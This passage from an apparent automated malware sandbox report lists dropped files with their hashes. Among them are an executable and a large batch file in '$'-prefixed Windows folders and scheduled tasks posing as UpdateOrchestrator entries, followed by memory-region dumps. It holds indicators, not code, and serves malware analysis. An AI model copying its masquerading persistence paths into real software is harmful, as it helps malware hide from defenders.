                                                                                                                                          6474561ca144cf3d62566dd284d4de9ec51283cb6ea31a28e4cfb961147e6a97

                                                                                                                                          SHA512

                                                                                                                                          4ccf86687efb7b6a1340be3d5f3c3e98f0cf7571c86fccd3d4608e69d5ccfbdee938e07f9c535f109a274e86ff96c2adea1cb053eaf293a024841ea9aa0cc980

                                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                                          Filesize

                                                                                                                                          2KB

                                                                                                                                          MD5

                                                                                                                                          a1b1eed30534ccc1763132a9c0332696

                                                                                                                                          SHA1

                                                                                                                                          a21416c993bff28c342e59c4cd8f055a2b202636

                                                                                                                                          SHA256

                                                                                                                                          6f1592bd38822ade736ed68f0ecbab5d764c0325ec2d0b797a978585f77575a2

                                                                                                                                          SHA512

                                                                                                                                          3f7acb70fe562eed326115089d27a7e265a3842448dafffe4d330335a60161a77d454066e7a3c056bde1b6260e473685e533717540164b06020e30dade693cda

                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4rafnmbd.5qi.ps1

                                                                                                                                          Filesize

                                                                                                                                          60B

                                                                                                                                          MD5

                                                                                                                                          d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                          SHA1

                                                                                                                                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                          SHA256

                                                                                                                                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                          SHA512

                                                                                                                                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                        • C:\Windows\$nya-onimai2\GfSDSA.exe

                                                                                                                                          Filesize

                                                                                                                                          36KB

                                                                                                                                          MD5

                                                                                                                                          b943a57bdf1bbd9c33ab0d33ff885983

                                                                                                                                          SHA1

                                                                                                                                          1cee65eea1ab27eae9108c081e18a50678bd5cdc

                                                                                                                                          SHA256

                                                                                                                                          878df6f755578e2e79d0e6fd350f5b4430e0e42bb4bc8757afb97999bc405ba4

                                                                                                                                          SHA512

                                                                                                                                          cb7253de88bd351f8bcb5dc0b5760d3d2875d39f601396a4250e06ead9e7edeffcd94fa23f392833f450c983a246952f2bad3a40f84aff2adc0f7d0eb408d03c

                                                                                                                                        • C:\Windows\$rbx-onimai2\$rbx-CO2.bat

                                                                                                                                          Filesize

                                                                                                                                          7.3MB

                                                                                                                                          MD5

                                                                                                                                          8a7f2cf2f4a59fc4220c677d3b8df79e

                                                                                                                                          SHA1

                                                                                                                                          6bb7854dc78dcb7a5e419e5eec371f4a776bb6a7

                                                                                                                                          SHA256

                                                                                                                                          37f8cdab00b96fa1d7f5edd1c0d7ed1c048b7cf0a94b30e4b2fe507dbd69ebff

                                                                                                                                          SHA512

                                                                                                                                          15acdd90a51634c1dbfcbee7dd2822742e42c4618e6590e238ac08abbb26c53e3c3e64e98ddb5439c7499af90eca66bb49c7dfeb5b6e01693e4e521fa5edbfc4

                                                                                                                                        • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

                                                                                                                                          Filesize

                                                                                                                                          2KB

                                                                                                                                          MD5

                                                                                                                                          f313c5b4f95605026428425586317353

                                                                                                                                          SHA1

                                                                                                                                          06be66fa06e1cffc54459c38d3d258f46669d01a

                                                                                                                                          SHA256

                                                                                                                                          129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

                                                                                                                                          SHA512

                                                                                                                                          b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

                                                                                                                                        • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                                          Filesize

                                                                                                                                          2KB

                                                                                                                                          MD5

                                                                                                                                          7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                                          SHA1

                                                                                                                                          63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                                          SHA256

                                                                                                                                          727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                                          SHA512

                                                                                                                                          f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                                        • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                                          Filesize

                                                                                                                                          2KB

                                                                                                                                          MD5

                                                                                                                                          1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                                                          SHA1

                                                                                                                                          5fd0a67671430f66237f483eef39ff599b892272

                                                                                                                                          SHA256

                                                                                                                                          55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                                                          SHA512

                                                                                                                                          5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                                                        • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                                          Filesize

                                                                                                                                          2KB

                                                                                                                                          MD5

                                                                                                                                          0b990e24f1e839462c0ac35fef1d119e

                                                                                                                                          SHA1

                                                                                                                                          9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                                          SHA256

                                                                                                                                          a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                                          SHA512

                                                                                                                                          c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                                        • memory/316-108-0x00007FFB60F0F000-0x00007FFB60F10000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          4KB

                                                                                                                                        • memory/316-107-0x00007FFB60F0D000-0x00007FFB60F0E000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          4KB

                                                                                                                                        • memory/612-33-0x0000020CBB200000-0x0000020CBB22A000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/612-31-0x0000020CBB170000-0x0000020CBB194000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          144KB

                                                                                                                                        • memory/612-41-0x0000020CBB200000-0x0000020CBB22A000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/612-42-0x0000020CBB200000-0x0000020CBB22A000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/612-43-0x0000020CBB200000-0x0000020CBB22A000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/612-1301-0x0000020CBB170000-0x0000020CBB194000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          144KB

                                                                                                                                        • memory/612-44-0x0000020CBB200000-0x0000020CBB22A000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/612-32-0x0000020CBB200000-0x0000020CBB22A000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/612-69-0x00007FFB60F0D000-0x00007FFB60F0E000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          4KB

                                                                                                                                        • memory/612-45-0x0000020CBB200000-0x0000020CBB22A000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/612-46-0x00007FFB20EF0000-0x00007FFB20F00000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          64KB

                                                                                                                                        • memory/612-47-0x0000020CBB200000-0x0000020CBB22A000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/612-68-0x0000020CBB170000-0x0000020CBB194000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          144KB

                                                                                                                                        • memory/668-59-0x00000240A53A0000-0x00000240A53CA000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/668-51-0x00000240A53A0000-0x00000240A53CA000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/668-1302-0x00000240A5370000-0x00000240A5394000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          144KB

                                                                                                                                        • memory/668-70-0x00000240A5370000-0x00000240A5394000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          144KB

                                                                                                                                        • memory/668-65-0x00000240A53A0000-0x00000240A53CA000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/668-64-0x00007FFB20EF0000-0x00007FFB20F00000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          64KB

                                                                                                                                        • memory/668-63-0x00000240A53A0000-0x00000240A53CA000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/668-62-0x00000240A53A0000-0x00000240A53CA000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/668-61-0x00000240A53A0000-0x00000240A53CA000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/668-60-0x00000240A53A0000-0x00000240A53CA000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/952-90-0x00007FFB60F0C000-0x00007FFB60F0D000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          4KB

                                                                                                                                        • memory/952-82-0x000001FEB99D0000-0x000001FEB99FA000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/952-81-0x000001FEB99D0000-0x000001FEB99FA000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/952-80-0x000001FEB99D0000-0x000001FEB99FA000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/952-72-0x000001FEB99D0000-0x000001FEB99FA000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/952-84-0x000001FEB99D0000-0x000001FEB99FA000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          168KB

                                                                                                                                        • memory/1776-2134-0x0000023785DB0000-0x0000023785DBE000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          56KB

                                                                                                                                        • memory/2296-12-0x00000238EAB60000-0x00000238EABA4000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          272KB

                                                                                                                                        • memory/2296-89-0x00007FFB42790000-0x00007FFB43251000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          10.8MB

                                                                                                                                        • memory/2296-10-0x00000238EA7A0000-0x00000238EA7C2000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          136KB

                                                                                                                                        • memory/2296-11-0x00007FFB42790000-0x00007FFB43251000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          10.8MB

                                                                                                                                        • memory/2296-0-0x00007FFB42793000-0x00007FFB42795000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          8KB

                                                                                                                                        • memory/2296-13-0x00007FFB42790000-0x00007FFB43251000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          10.8MB

                                                                                                                                        • memory/2296-15-0x00000238E8350000-0x00000238E838A000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          232KB

                                                                                                                                        • memory/2296-106-0x00007FFB42790000-0x00007FFB43251000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          10.8MB

                                                                                                                                        • memory/2296-155-0x00000238FB620000-0x00000238FB992000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          3.4MB

                                                                                                                                        • memory/2296-14-0x00000238EAC30000-0x00000238EACA6000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          472KB

                                                                                                                                        • memory/2296-1304-0x00007FFB42790000-0x00007FFB43251000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          10.8MB

                                                                                                                                        • memory/2296-18-0x00007FFB5F6A0000-0x00007FFB5F75E000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          760KB

                                                                                                                                        • memory/2296-17-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          2.0MB

                                                                                                                                        • memory/2296-16-0x00000238FAFD0000-0x00000238FB416000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          4.3MB

                                                                                                                                        • memory/2296-88-0x00007FFB42793000-0x00007FFB42795000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          8KB

                                                                                                                                        • memory/3352-28-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          32KB

                                                                                                                                        • memory/3352-20-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          32KB

                                                                                                                                        • memory/3352-19-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          32KB

                                                                                                                                        • memory/3352-21-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          32KB

                                                                                                                                        • memory/3352-26-0x00007FFB60E70000-0x00007FFB61065000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          2.0MB

                                                                                                                                        • memory/3352-27-0x00007FFB5F6A0000-0x00007FFB5F75E000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          760KB

                                                                                                                                        • memory/3352-23-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          32KB

                                                                                                                                        • memory/3352-25-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          32KB

                                                                                                                                        • memory/5108-3156-0x0000028DEE420000-0x0000028DEE432000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          72KB

                                                                                                                                        • memory/5108-3157-0x0000028DEE9F0000-0x0000028DEEA2C000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          240KB

                                                                                                                                        • memory/5108-2083-0x0000028DEE6E0000-0x0000028DEE8A2000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          1.8MB

                                                                                                                                        • memory/5108-2071-0x0000028DEE450000-0x0000028DEE502000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          712KB

                                                                                                                                        • memory/5108-2059-0x0000028DEE340000-0x0000028DEE390000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          320KB

                                                                                                                                        • memory/5108-1380-0x0000028DED4C0000-0x0000028DEDC2E000-memory.dmp

                                                                                                                                          Filesize

                                                                                                                                          7.4MB